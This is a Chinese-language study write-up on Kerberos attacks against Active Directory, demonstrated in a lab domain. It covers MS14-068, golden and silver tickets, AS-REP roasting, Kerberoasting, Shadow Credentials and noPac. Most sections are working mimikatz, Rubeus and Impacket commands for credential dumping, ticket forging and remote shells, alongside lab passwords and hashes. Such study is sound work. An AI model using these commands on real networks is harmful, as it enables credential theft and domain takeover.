域渗透学习(Kerberos篇)

Kerberos协议简介 & 认证过程

Kerberos 是一种由MIT提出的一种网络身份验证协议,用于环境中,它是一种基于票据(Ticket)的认证方式。Kerberos 认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意的读取、修改和插入,在以上情况下,Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(共享密钥)执行认证服务的,并且可以有效地防止中间人攻击

在 Kerberos 协议中主要是有三个角色:

  • 访问服务的 Client
  • 提供服务的 Server
  • 密钥分发中心 KDC(Key Distribution Center)

其中 KDC 服务默认会安装在一个域的域控中,而 Client 和 Server 为域内的用户或者是服务,如HTTP服务, SQL服务。在 Kerberos 中 Client 是否有权限访问 Server 端的服务由 KDC 发放的票据来决定

Kerberos认证过程

一些名词
Authentication Service(AS):身份验证服务器
Ticket Granting Service(TGS):票据授予服务器,用于 KDC 向 Client 和 Server 分发 Session Key(临时秘钥)
Ticket granting Cookie(TGC):存放用户身份认证凭证的 Cookie
Ticket granting Ticket(TGT):TGT 对象的 ID 就是 TGC 的值,在服务器端,通过 TGC 查询 TGT
Server Ticket(ST):ST 服务票据,由 TGS 服务发布

AS_REQ & AS_REP

首先当客户端试图访问域内某个服务时,客户端会向 KDC 中的 AS 发送一个请求,请求包含 Client Hash 加密的时间戳(用于预认证),Client Info,Server Info 等

AS 收到消息后会向 AD 请求查询是否有此用户,如果有则取出用户的 NTLM Hash ,并对请求中的时间戳进行解密,解密成功则证明客户端提供的密码正确,如果时间戳合适,此时预认证成功,然后 AS 生成一个临时密钥 Session Key,再次用 Client Hash 加密后作为响应包的一部分。此外还会产生一个 TGT(使用特定账户 krbtgt 的 NTLM Hash 对 Session Key,时间戳等进行的加密后的信息),然后将这两部分以及 PAC(用户的SID、用户所在的组等一些信息) 等信息回复给 Client

sequenceDiagram
    participant Client
    participant AS as AS (KDC)
    participant AD

    Client->>AS: 1. AS_REQ
    Note over Client,AS: Client Hash(Timestamp)<br/>Client Info<br/>Server Info

    AS->>AD: 判断用户是否存在
    AD-->>AS: 返回用户信息 / NTLM Hash

    Note over AS: 预认证:<br/>用Client对应的 NTLM Hash 解密<br/>判断时间是否有效

    Note over AS: 生成临时密钥 Session Key,并用 Client Hash 加密

    Note over AS: 构造 TGT:并用 krbtgt 用户的 Hash 加密信息

    AS-->>Client: 2. AS_REP
    Note over AS,Client: Client Hash(Session Key)<br/>TGT:KDC Hash(Session Key, Client Info,End Time)<br/>PAC(SID/组信息)

    Note over Client: Session Key(解密并缓存到本地)<br/>TGT(无法解密)

这一阶段的目标是:让客户端证明自己的身份,并拿到一个用于后续通信的 TGT(Ticket Granting Ticket) 票据

TGS_REQ & TGS_REP

第一阶段结束后,客户端已经有了两样东西:TGT 和 AS 产生的 Session Key

然后 Client 向 KDC 发起针对特定服务的请求,将 TGT 和 Session Key(AS) 加密的 Client Info,Timestamp 和一些其他信息一起发给 KDC 的 TGS

TGS 收到 TGS_REQ 之后,用 krbtgt Hash 值对 TGT 凭据进行解密,得到 Session Key(AS),Client Info,End Time 等信息,然后用 Session Key(AS) 继续解密,得到时间戳,如果时间相差不多则用 Session Key(AS) 对 Server Session Key(TGS产生) 进行加密作为第一部分,用 Server Hash 对 Server Session Key(TGS产生)、Client Info、End Time 进行加密作为第二部分,两部分构成了 TGS 票据发给 Client(不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)

这一阶段的目标是:客户端拿着第一阶段得到的 TGT,去申请某个具体服务的访问票据 Service Ticket

AP_REQ & AP_REP

和上一步类似,第二阶段结束后,客户端已经有:Ticket 和 TGS 产生的 Server Session Key

然后用 Server Session Key(TGS) 加密 Timestamp 和 Client Info 加上 Ticket 一起发送给 Server

Server 收到 AP_REP 之后用 Server Hash 对 Ticket 进行解密,得到 Server Session Key(TGS),然后用 Server Session Key(TGS) 解密,得到 Timestamp,再次进行比对,在允许时间内则进行下一步。Server 拿着 PAC 向 KDC 发起请求,域控解密 PAC,得到 Client 的 SID 以及所在的组等信息后返回给 Server,Server 将 Client 的权限与 ACL 进行比对,如果 Client 有访问权限,则返回 AP_REP 并与 Client 建立通信

Kerberos相关利用

PAC与MS14-068

PAC(Privilege Attribute Certificate) 在上面的 AS_REQ & AS_REP 这一步中有提到过。在 AS_REP 中,KDC 返回的 TGT 票据中包含了 PAC,它是用来验证 Client 的访问权限的,因为原始的 Kerberos 认证过程有一个很大的问题,那就是 TGS_REP 这一步,无论用户是否拥有对应服务的访问权限,只要验证用户身份通过都会返回 TGS 票据,这导致后续过程里用户可以直接拿着 TGS 票据访问任何服务

此外 PAC 对于用户和服务全程都是不可见的,只有 KDC 能制作和查看 PAC,这也确保了 PAC 的安全性。但是在有些服务中并没有验证 PAC 这一步,所以白银票据能利用成功

MS14-068

微软在实现的过程中,允许任意签名算法,只要客户端指定任意签名算法,KDC 服务器就会使用指定的算法进行签名验证。这导致它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限

未打3011780补丁的机子都能利用,下面用 impacket 中的 goldenPac.py 演示利用

goldenPac 是 MS14-068 与 psexec 结合的一个产物,运行后会产生一个 shell

1
2
3
4
5
6
#   E.G:
# python goldenPac.py domain.net/normaluser:mypwd@domain-host
# python goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控


python goldenPac.py -dc-ip 192.168.1.1 -target-ip 192.168.1.2 xiaorang.lab/abc:abc1234@dc.xiaorang.lab

黄金票据(Golden Ticket)

在上述的 AS_REQ & AS_REP中,用户使用自身 Hash 加密时间戳发送给 KDC,KDC 验证成功后返回用 krbtgt Hash 加密的 TGT 票据。如果我们有 krbtgt 的 Hash,就可以自己给自己签发任意用户的 TGT 票据,跳过 AS 验证

利用条件

  1. 域名称
  2. 域 SID
  3. 域的 krbtgt 账户的 NTLM Hash
  4. 需要伪造的域管理员用户名
1
2
3
4
5
6
7
8
9
10
11
12
# cmd查看sid,不需要后四位
whoami /user

# cmd查看域名
net config workstation

# mimikatz 在域控制器上导出用户密码或 hash
privilege::debug
lsadump::lsa /patch

# mimikatz 导出指定用户的hash值
lsadump::dcsync /domain:xxx.com /user:krbtgt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 清除票据缓存
kerberos::purge

# 查看票据列表
kerberos::list

# 查看注入情况
kerberos::tgt

# cmd中清除票据
klist purge

# cmd中查看票据
klist

方式一:

在靶机上生成黄金票据后直接ptt

1
2
3
# mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

mimikatz.exe "kerberos::golden /domain:xxx.com /sid:S-1-5-21-854887597-2698481123-3746598263 /rc4:ee2ab0b2adf640821b739ed4c3d7a4d8 /user:administrator /ptt" exit

使用dir \\aa.xxx.com\c$\来验证(aa是域控)(后面的都可以用这种方法来验证,包括白银票据,就不重复放图了)

方式二:

生成票据后保存到文件中,然后手动导入

1
2
3
4
5
6
7
8
# kerberos::gloden /domain:<域名> /sid:<域SID> /krbtgt: <KRBTGT NTLM Hash> /user:<任意用户名> /ticket:golden.kribi
# kerberos::gloden /domain:<域名> /sid:<域SID> /aes256: <KRBTGT aes256> /user:<任意用户名> /ticket:golden.kribi

kerberos::golden /user:administrator /domain:xxx.com /sid:S-1-5-21-854887597-2698481123-3746598263 /krbtgt:ee2ab0b2adf640821b739ed4c3d7a4d8 /ticket:golden.kirbi


# kerberos::ptt <票据文件>
kerberos::ptt golden.kirbi

白银票据(Silver Ticket)

白银票据是出现在 TGS_REQ & TGS_REP 过程中的。在 TGS_REP 中,不管 Client 是否有权限访问特殊服务,只要 Client 发送的 TGT 票据是正确的,那么就会返回服务 Hash 加密的 TGS 票据。如果我们有了服务 Hash,就可以签发 TGS 票据,与黄金票据相比,白银票据只能访问特定服务,并且伪造的白银票据没有带有有效 KDC 签名的 PAC。如果将目标主机配置为验证 KDC PAC 签名,则白银票据将不起作用

利用条件

  1. 域名
  2. 域 SID
  3. 目标服务器的 FQDN(域名全称)
  4. 可利用的 Kerberos 服务,例如 cifs
  5. 服务账号的 NTLM Hash
  6. 要伪造的用户名(用于构造 PAC,任意用户名应该都可以,检查 PAC 的服务不多)
1
2
3
4
# 获取service账号的hash值

privilege::debug
sekurlsa::logonpasswords

生成票据并注入

1
2
3
# kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<Server NTLM Hash> /target:<目标服务器的域名全称> /service:<服务> /user:<任意用户名> /ptt

kerberos::golden /domain:xxx.com /sid:S-1-5-21-854887597-2698481123-3746598263 /target:aa.xxx.com /rc4:9f2b4a56589664e727d7eec3f7e2f1c7 /service:cifs /user:administrator /ptt

黄金票据与白银票据的区别

访问权限

  • 黄金票据伪造 TGT,可以获取任何 Kerberos 服务权限
  • 白银票据伪造 TGS,只能访问指定的服务

加密方式

  • 黄金票据用 krbtgt 的 NTLM Hash 加密
  • 白银票据用 Server 的 NTLM Hash 加密

认证流程

  • 黄金票据的利用过程需要访问域控
  • 白银票据的利用过程需不需要访问域控

AS_REP Roast

AS_REQ & AS_REP 认证的过程是 Kerberos 身份认证的第一步,只要用户提供的票据正确,服务就会返回 Client Hash 加密的 TGT 票据。而如果域用户设置了选项”Do not require Kerberos Preauthentication”(该选项默认关闭)关闭了预身份验证后去请求票据,此时域控会不作任何验证便将 TGT 票据和加密的 Session Key 等信息返回,因此攻击者就可以对获取到的信息进行离线破解,如果爆破成功就能得到该指定用户的明文密码,这种攻击方式被称作 AS_REP Roasting

几种利用方式

仅查找用户:利用 PowerSploit 的 PowerView.ps1 查找可利用的账户

1
Get-DomainUser -PreauthNotRequired -Verbose | select samaccountname

注意:有时候在不同的账户不同权限不同的登录方式下,工具也可能会出现判断错误或异常的情况


方法一:利用 Rubeus 将开启了无需预认证的用户的 Hash 值导出

1
2
3
4
5
# 域内
Rubeus.exe asreproast /outfile:hash.txt

# 域外,但是可以与域控通信
Rubeus.exe asreproast /domain:xxx.com /user:cc /dc:192.168.100.126 /format:hashcat /outfile:hash.txt


方法二:利用 Impacket 中的 GetNPUsers.py 来导出 Hash

1
python GetNPUsers.py xxx.com/cc -dc-ip 192.168.100.126 -no-pass -format=john

得到 Hash(这种类型的 Hash 无法进行 PTH)

1
2
3
4
5
# john
$krb5asrep$cc@xxx.com:5EDECA444700F5A101FF2EB7A0F7FF68$DE35AF371D962805546E9517BE57C7679670D6F62A59FDCED2DB5D3421599101AF7BD0AF440F3289491604E85E15B0D21185A7960F00C0638BD9BB48D1EC22D7E0FFE4ED53602582D37C5AC6278E5C6B0F616819D4165EB331B886EC44FB9D0DD09F06E6125D7C51E632CE24BB6AEFBF1DF19A185619D604A764E189E2B8B8274077D807A4589826B45838EABDDB24AC5DC326FEA0E665F99C396A90EDDB397CA67847F44EF6A13DE8B5618991AF955D51C68C7B978DBA9BEFC6F2E626B445B285F4ABAA9AB4750AE3A8417EBFCB60BCC450DD44981C4E6F40280EAC58898804602B

# hashcat
$krb5asrep$23$cc@xxx.com:4240424759E808B08336196B57276B93$6BBED37D7A3BA3023DFB2BEBAC8001D6C1D3A657C858C3658227F9E837676378C43A559D18209C3957DF459308E9E616B32586C3B178F21A1446AF9A2BF11C431489100727FBCB1B35F1E411672E97EB9C1DB89592D0680598244004E8BD85461780CC1662E9983B02F9F4418FBADD142B9AE2DC9FFFFFA2CEBD225F894482B49EE5D9C1EF2F9A4578343B65FF6442A6F369A30C02C9A518F9110FDCA438CD6378107FE0A0029B3B6CF341A7E92A614D3081F208083BA465525E2458F6122F60530FE2DCDA44E56CE026BAE9E4EC77AFBC50C9D2915169EF73C15D03ECBD9084925C

使用 hashcat 或者 john 爆破

1
2
3
4
5
6
# hashcat
hashcat -m 18200 hash.txt wordlists.txt


# john
john hash.txt

Kerberoasting和SPN

AS-REP Roasting 和 Kerberoasting 都是针对 Kerberos 认证机制 的离线口令破解攻击,但它们攻击的对象、前提条件和拿到的票据不同

和上面的 AS_REP Roast 不一样,Kerberoasting 发生在 TGS_REQ & TGS_REP 阶段。只要用户提供的票据正确,服务就会返回自身 Hash 加密的 TGS 票据,那么如果我们有一个用户,就可以申请服务的 TGS 票据,票据的一部分会用服务账户的密钥加密,因此如果服务账户密码弱,就可能被本地爆破服务 Hash 得到服务密码,前提是服务账户注册了 SPN

SPN简介

在域中,服务通过 SPN(ServicePrincipal Names) 来作为唯一标识,每个使用 Kerberos 的服务都需要一个 SPN

SPN 分为两种,一种注册在 AD 上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下

  • 当一个服务的权限为 Local System 或 Network Service,则 SPN 注册在机器帐户(Computers)下
  • 当一个服务的权限为一个域用户,则 SPN 注册在域用户帐户(Users)下

SPN格式与查询

1
2
3
4
5
6
<serviceclass>/<host>:<port>/<service name>

<service class>:标识服务类的字符串,可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
<host>:服务所在主机名称,有两种形式,FQDN 和 NetBIOS 名,例如 server01.test.com 和 server01
<port>:服务端口,如果服务运行在默认端口上,则端口号可以省略
<service name>:服务名称

比如:手动注册一个名为 MSSQLSvc 的 SPN,将他分配给 dd 这个域管账户

1
setspn -A MSSQLSvc/aa.xxx.com:1433 dd

查询已经注册的 SPN

1
2
setspn -q */*
setspn -T xxx.com -q */*

CN=Users 的是域账户注册的 SPN,CN=Computers 是机器账户。我们应该选择域用户进行利用,因为机器用户的口令无法远程链接

Kerberoasting利用

寻找有价值的 SPN

域内的任意主机都可以查询 SPN,任何一个域用户都可以申请 TGS 票据

1
2
3
4
5
# 使用 PowerSploit 的 PowerView.ps1 查找可利用的 SPN
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last

# 或使用 kerberoast 的 GetUserSPNs 查找
cscript GetUserSPNs.vbs

请求/导出/破解 TGS

根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求,申请票据

1
2
3
4
5
6
7
# 请求指定服务的 TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/aa.xxx.com:1433"

# 请求所有服务的 TGS
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据

使用 mimikatz 导出TGS

1
kerberos::list /export

用 kerberoast 下的 tgsrepcrack 爆破

1
python tgsrepcrack.py wordlist.txt test.kirbi

直接利用

Rubeus 可以不需要搭配 mimikatz,直接导出可爆破的 hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
PS C:\Users\Administrator\Desktop> .\Rubeus.exe kerberoast

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.6.4


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Searching the current domain for Kerberoastable users

[*] Total kerberoastable users : 1


[*] SamAccountName : dd
[*] DistinguishedName : CN=dd,CN=Users,DC=xxx,DC=com
[*] ServicePrincipalName : MSSQLSvc/aa.xxx.com:1433
[*] PwdLastSet : 2026/4/24 14:17:50
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*dd$xxx.com$MSSQLSvc/aa.xxx.com:1433*$A8C55D8BBD09158272503B40B67B1D
1A$DDCC32CDCD51BA679CA82651AEE9B696A3C3D18278F6C891A3DC17371F3F4A22315F2D50E618F
A7DC7BD7C22607BB5EFB13B0ACDEB555A072788D755AD1BA9EF1C96808ED6F4F11F493FED3ECA26B
38401584B97A0AD3AF4351A1517AA2ED338AD11BCADC6D75894711EDA6D3766C85E5C6E264DE7A48
890A3373FC74F797E0D9524C7D66B0866D356D59AB7F534493F39B0D21F854A0C66860DBBDAD8B8C
7D9B0823CB62A49038441520757DBCAC533D4BFF3031FA2DF740A80A5E5294318D06152FB4968FD5
32577B22F7B17EA527535513B4DC10380DE9383987290E2249ED6FF1BA81EB474F40F4DEEF8B0FD9
396DBA87746241FF84E60F96DA4A4A0A2307E2234D86AFFBFA97989728313532805659D26876A07B
53903B63B625D93F87F7A38853AED85B81D2D1AB7DFCDD6248CCF5941B3ADC37728528A4D6F99426
C988D49EEF4B38E3329BEA8A9D1614A26D0D4DE5A1B8E79BF73C59CDB7355B8DFCB8C6AFEB5A464C
D4E6414ACD1503A30D38572C3A29D50A80CA0D344D184A5B44C0A282C5ACE085A15A0C1DE311BBD4
1F50AA8435CC19F506459BE409C085D5DBFE6458E8D54AFC2E26AF5ECC86A5AC24ACA6D62E90DA23
AC3031F1A4B5F213D0951DDA366F4CF4F38B6F2F6CD426B4B56DA22E957266616E8145600CD54A8C
A3351CCA922F63B3A1C9DB03729BB73D18EE046E6F6221EA4E23BB25103DEAE09AA58F1955F44733
EFE09CBB75B1F8CE4048B185F5E11ACD4F7EA1E959035D5118F20924329B5F384F6B7B4AB90736B2
E10DD59337DDF386F3E5C69ED95312C92DAB86333668FBEF64B627CBC72B4D9BD86DBE8475D55936
E4E26732F0B796871FFDEF1F544158CDBD81550CC5A1D351BB5EEEECC16610BAF0728A98CD6D474C
D6B4E2423BCAD02372EFBB6D6F4A38CC307E73D85D971A9544342E8626128D6B7426301E524DF4F1
BD1F144093EDDD29AEC32FE05BBA39C642A96663F2E05EEE9779DB253711D31056968210F644AA04
B41F643590DBF681DCD1D7F012DCB176E759D628F86DF6C84DF566A09470C757EEF4F0F5C02DD350
A8EA7EFFA575E27D37FB4A46D284E5ACB39B20D8E9ED4192D130036F50104BB3D638667979EA3F55
0802F9A93615B90D51A6C4F751FB90864472BDB1FE76816AB98E424C40FE33490D89CD2C705DE6A5
74D094ABE5934877261008B75CC333E507936EF297F2EDB5FABBDD19E42B60ABB7989E2B463E0477
188F23324D71C5C0940A2833B0BB4BD13482D66BBC5D4B8A22E99E93129BBAD587FF53EE4C2E8CBC
EF272C640065A3C8B4F9DA6BFD178E0567A486E4F6A4A9460B92E604A86C3377B37EA7D1DEA1E775
2C29A5D41433D901DB71B82145EB193B7EABD74480A24F6372430D0D0C5224F08E0210FD2D485719
8A2848E3D7F436AA81610BE846729B25E0DD5083301FBB74238492A5A33277C28003217BD93832FB
E17B56300EC3DBACC8CEDB6BB709C0F8D2F2FA12CBCB602E61A5FD0FC9E33EF8349A04A3D0A370CC
D1C73066B7EEAA822E3226F255472F9B3A1990CC6B0B95819

用 Hashcat 跑就行,注意类型是 13100

1
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt -o found.txt --force

impacket 下的 GetUserSPNs 可以从域外获取 hash,需要一个域用户密码

1
python GetUserSPNs.py -request -dc-ip 192.168.100.126 -debug xxx.com/dd:Qwer123

Shadow Credentials

Shadow Credentials(影子凭据)是一种针对 Active Directory 的账户接管与持久化技术。攻击者不需要知道或修改目标账户的密码,而是给账户偷偷添加一把自己控制的公钥,之后利用对应私钥冒充该账户进行 Kerberos 身份验证。

核心原理:

可以参考上文的 AS_REQ & AS_REP 这一步骤。其中用到的 PKINIT (非对称预身份验证) 是 Kerberos 的公钥预认证扩展,允许在身份验证阶段使用数字证书。在 AS 预身份认证中密码方式使用 PA-ENC-TIMESTAMP,PKINIT 则使用 PA-PK-AS-REQ。Shadow Credentials 在 Kerberos 流程正式开始前,增加了一个 LDAP/目录修改阶段,攻击者生成公私密钥对,公钥写入目标账户的一个名为 msDS-KeyCredentialLink 的属性(该属性在 Windows Server 2016 中引入),使用户可以通过密钥而非传统密码进行身份验证。所以如果我们可以写入用户的 msDS-KeyCredentialLink 属性,那么就可以获得该用户的 TGT

  1. 攻击者获得修改目标 AD 对象的权限,例如对某个用户或计算机具有 GenericWrite、GenericAll 或相应属性写权限
  2. 攻击者把自己生成的公钥凭据加入目标对象的 msDS-KeyCredentialLink
  3. 攻击者保留对应私钥
  4. 通过 Kerberos 的 PKINIT 公钥预认证,以目标账户身份申请 TGT
  5. 域控制器把攻击者视为该用户或计算机,因为公钥已经被登记在该对象上

利用条件:

  • 一个系统版本至少为 Windows Server 2016 的域控制器
  • 安装在域控制器上的服务器身份验证数字证书
  • 拥有写入目标对象 msDS-KeyCredentialLink 属性的权限的帐户
    • 域管理员账户
    • Key Admins 组中的账户
    • Enterprise Key Admins 组中的账户
    • 对 Active Directory 中的对象具有 GenericAll 或 GenericWrite 权限的帐户
    • 机器账户对自身的 msDS-KeyCredentialLink 属性拥有写入权限

Whisker 利用:

该工具将生成证书和 Key Credential,并将 Key Credential 信息存储在 msDS-KeyCredentialLink 属性中。生成的证书可以与 Rubeus 一起使用,以请求 TGT 票据并进一步扩大攻击

1
2
3
4
5
6
7
8
9
10
# 向域控制器的 msDS-KeyCredentialLink 属性添加 Shadow Credentials
Whisker.exe add /target:aa$ /domain:xxx.com /dc:aa.xxx.com


# 列出目标对象的 msDS-KeyCredentialLink 属性的所有条目
Whisker.exe list /target:aa$ /domain:xxx.com /dc:aa.xxx.com


# 删除添加到目标对象 msDS-KeyCredentialLink 属性的密钥凭据
Whisker.exe remove /target:aa$ /deviceid:<DeviceID>

pyWhisker+PKINITtools 利用

如果拥有所需权限的帐户的凭据已知,则该工具也可以从未加入域的系统执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 使用域账户 qq 登录 192.168.100.126 这台域控制器,尝试修改计算机账户 aa$ 的 msDS-KeyCredentialLink 属性,加入一份新的证书公钥凭据,并把对应私钥 .pfx 保存到本地文件中
python3 pywhisker.py -d "xxx.com" -u "qq" -p "Qwer123" --target "aa$" --action "add" --filename aa --dc-ip 192.168.100.126

# 用 PFX 证书和私钥,通过 Kerberos PKINIT,为域中的计算机账户 aa$ 申请一个 TGT,并将票据保存到 aa.ccache
python3 gettgtpkinit.py -cert-pfx aa.pfx -pfx-pass crVcrOO9EmlOtgi84lJ8 xxx.com/aa\$ aa.ccache -dc-ip 192.168.100.126

# 设置环境变量 KRB5CCNAME,通过 Impacket 套件中的 secretsdump.py 使用该票据,并执行 DCSync 来导出域用户哈希
export KRB5CCNAME=/root/aa.ccache
impacket-secretsdump -k xxx.com/aa\$@aa.xxx.com -no-pass -just-dc -dc-ip 192.168.100.126


# 还可以通过 Kerberos 的 S4U2Self 扩展协议,使用已获取的域控 TGT 为域管理员用户申请针对域控上其他服务的的 ST 票据,然后通过 smbexec.py 获取域控制器的最高权限
python3 gets4uticket.py kerberos+ccache://xxx.com\\aa\$:aa.ccache@aa.xxx.com cifs/aa.xxx.com@xxx.com Administrator@xxx.com Administrator.ccache -v
export KRB5CCNAME=/root/Administrator.ccache
impacket-smbexec -k xxx.com/Administrator@aa.xxx.com -no-pass -dc-ip 192.168.100.126


如果报错 KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type),在 dc 可控的情况下可以开启 KDC support for PKInit Freshness Extension 策略,选择支持(支持扩展的客户端使用 freshness;不支持的旧客户端仍能进行普通 PKINIT)。或者可以参考域渗透学习(Certificate Services篇)中的两种解决方法

安全/身份主体混淆(Principal Confusion)

在 AD 中会使用 SID、sAMAccountName、UPN、SPN 等标识来识别这些主体。这里 Principal Confusion 指的是由于名称格式、别名、规范化规则或身份解析逻辑存在歧义,系统把一个身份错误地识别成另一个身份。AD 中的每个安全主体原则上由唯一 SID 表示,但认证过程中仍可能依赖账号名称等属性进行查找

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
PS C:\Users\Administrator> Import-Module ActiveDirectory
PS C:\Users\Administrator>
PS C:\Users\Administrator> $sid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value
PS C:\Users\Administrator>
PS C:\Users\Administrator> Get-ADUser -Identity $sid `
>> -Properties UserPrincipalName, CanonicalName, ServicePrincipalNames |
>> Select-Object Name,
>> SamAccountName,
>> UserPrincipalName,
>> SID,
>> ObjectGUID,
>> DistinguishedName,
>> CanonicalName,
>> ServicePrincipalNames |
>> Format-List


Name : Administrator
SamAccountName : Administrator
UserPrincipalName :
SID : S-1-5-21-854887597-2698481123-3746598263-500
ObjectGUID : 3a631535-4efe-4754-a557-42eeeb39bfe9
DistinguishedName : CN=Administrator,CN=Users,DC=xxx,DC=com
CanonicalName : xxx.com/Users/Administrator
ServicePrincipalNames : {}



PS C:\Users\Administrator> Get-ADComputer -Identity $env:COMPUTERNAME `
>> -Properties DNSHostName, CanonicalName, ServicePrincipalNames |
>> Select-Object Name,
>> SamAccountName,
>> SID,
>> ObjectGUID,
>> DistinguishedName,
>> CanonicalName,
>> DNSHostName,
>> ServicePrincipalNames |
>> Format-List


Name : AA
SamAccountName : AA$
SID : S-1-5-21-854887597-2698481123-3746598263-1000
ObjectGUID : ca1a6618-ab3c-457a-bd06-9afbebba5edd
DistinguishedName : CN=AA,OU=Domain Controllers,DC=xxx,DC=com
CanonicalName : xxx.com/Domain Controllers/AA
DNSHostName : aa.xxx.com
ServicePrincipalNames : {Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/aa.xxx.com, ldap/aa.xxx.com/ForestDnsZones.xxx.com,
ldap/aa.xxx.com/DomainDnsZones.xxx.com, DNS/aa.xxx.com...}


------
Name : 这是 AD 对象的名称,一般对应对象的 cn 属性。主要用于显示等,不一定就是登录名
SamAccountName : 这是兼容 Windows NT 时代的账号名称,也是常见的域登录名,比如 XXX\Administrator。在一个域内通常必须唯一,用户账户通常没有 $,计算机账户以 $ 结尾
UserPrincipalName : 它通常是现代登录格式,比如 Administrator@xxx.com
SID : 即 Security Identifier,安全标识符,是 Windows 授权系统中最重要的身份标识。结尾的是 RID,500是Administrator 账号的固定 RID
ObjectGUID : 是 AD 创建对象时分配的全局唯一标识符
DistinguishedName : 这是对象在 LDAP 目录树中的完整路径,简称 DN
CanonicalName : 这是 DN 的友好、易读格式
ServicePrincipalNames : SPN,即 Service Principal Name,服务主体名称,用于 Kerberos 找到某个服务由哪个 AD 账号运行

sAMAccountName 欺骗

这是一种针对未修补 Active Directory 域环境的权限提升攻击,也常被称为 noPac 攻击。攻击者可以把普通域用户权限提升到域管理员级别

攻击依赖两个漏洞的组合:

  • CVE-2021-42278:允许计算机账户使用不符合正常命名规则的 sAMAccountName
  • CVE-2021-42287:Kerberos KDC 在找不到指定账户时,会尝试在账户名后添加 $ 再次查找,从而可能把攻击者控制的账户错误识别为域控制器账户

最终,攻击者可能获得代表域控制器或高权限用户的 Kerberos 服务票据,并进一步执行 DCSync,读取域账户的密码hash

利用

攻击的必要条件是能够编辑计算机帐户 sAMAccountName 及其 servicePrincipalName(SPN) 属性。由于默认情况下 MachineAccountQuota(MAQ) 特性,域内普通用户可以创建 10 个机器账户,而创建者对于机器账户具有写权限,当然可以更改这两个属性

检查配额

1
2
3
4
5
6
┌──(root㉿kali)-[~/krbrelayx]
└─# netexec ldap 192.168.100.126 -u qq -p 'Qwer123' -d 'xxx.com' --kdcHost 192.168.100.126 -M maq
LDAP 192.168.100.126 389 AA [*] Windows 10 / Server 2016 Build 14393 (name:AA) (domain:xxx.com) (signing:None) (channel binding:Never)
LDAP 192.168.100.126 389 AA [+] xxx.com\qq:Qwer123
MAQ 192.168.100.126 389 AA [*] Getting the MachineAccountQuota
MAQ 192.168.100.126 389 AA MachineAccountQuota: 10

使用 krbrelayx 的 addspn + impacket + Rubeus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 1.创建一个机器账户,使用 impacket 的 addcomputer.py
impacket-addcomputer -computer-name 'TestComputer$' -computer-pass 'Password@123' -dc-host AA -domain-netbios xxx 'xxx.com/qq:Qwer123'

# 2.清除机器账户的 servicePrincipalName 属性(addcomputer.py是利用 SAMR 协议创建机器账户,这个方法所创建的机器账户没有 SPN,所以可以不用清除)。可以用 setspn -L 查看 SPN
# 如果不删除 SPN,当计算机账户的 sAMAccountName、dNSHostName 等属性变化时,AD 会尝试自动更新相应的 SPN,所以建议在更改 SamAccountName 之前删除 SPN
python3 addspn.py -u 'xxx\qq' -p 'Qwer123' -t 'TestComputer$' -c aa

# 3.将机器账户的 sAMAccountName,更改为 DC 的机器账户名字,注意后缀不带 $
# https://github.com/fortra/impacket/pull/1224/files
python3 renameMachine.py -current-name 'TestComputer$' -new-name 'aa' -dc-ip 'aa.xxx.com' 'xxx.com'/'qq':'Qwer123'

# 4.为机器账户请求 TGT
# impacket-getTGT -dc-ip 'aa.xxx.com' 'xxx.com'/'aa':'Password@123'
Rubeus.exe asktgt /user:aa /password:Password@123 /domain:xxx.com /dc:aa.xxx.com /nowrap

# 5.将机器账户的 sAMAccountName 更改为其他名字,不与步骤 3 重复即可
python3 renameMachine.py -current-name 'aa' -new-name 'TestComputer2$' -dc-ip 'aa.xxx.com' 'xxx.com'/'qq':'Qwer123'

# 6.通过 S4U2self 协议向 DC 请求 ST
# export KRB5CCNAME='/root/aa.ccache'
# impacket-getST -self -impersonate 'Administrator' -spn 'ldap/aa.xxx.com' -k -no-pass -dc-ip 'aa.xxx.com' 'xxx.com'/'aa'
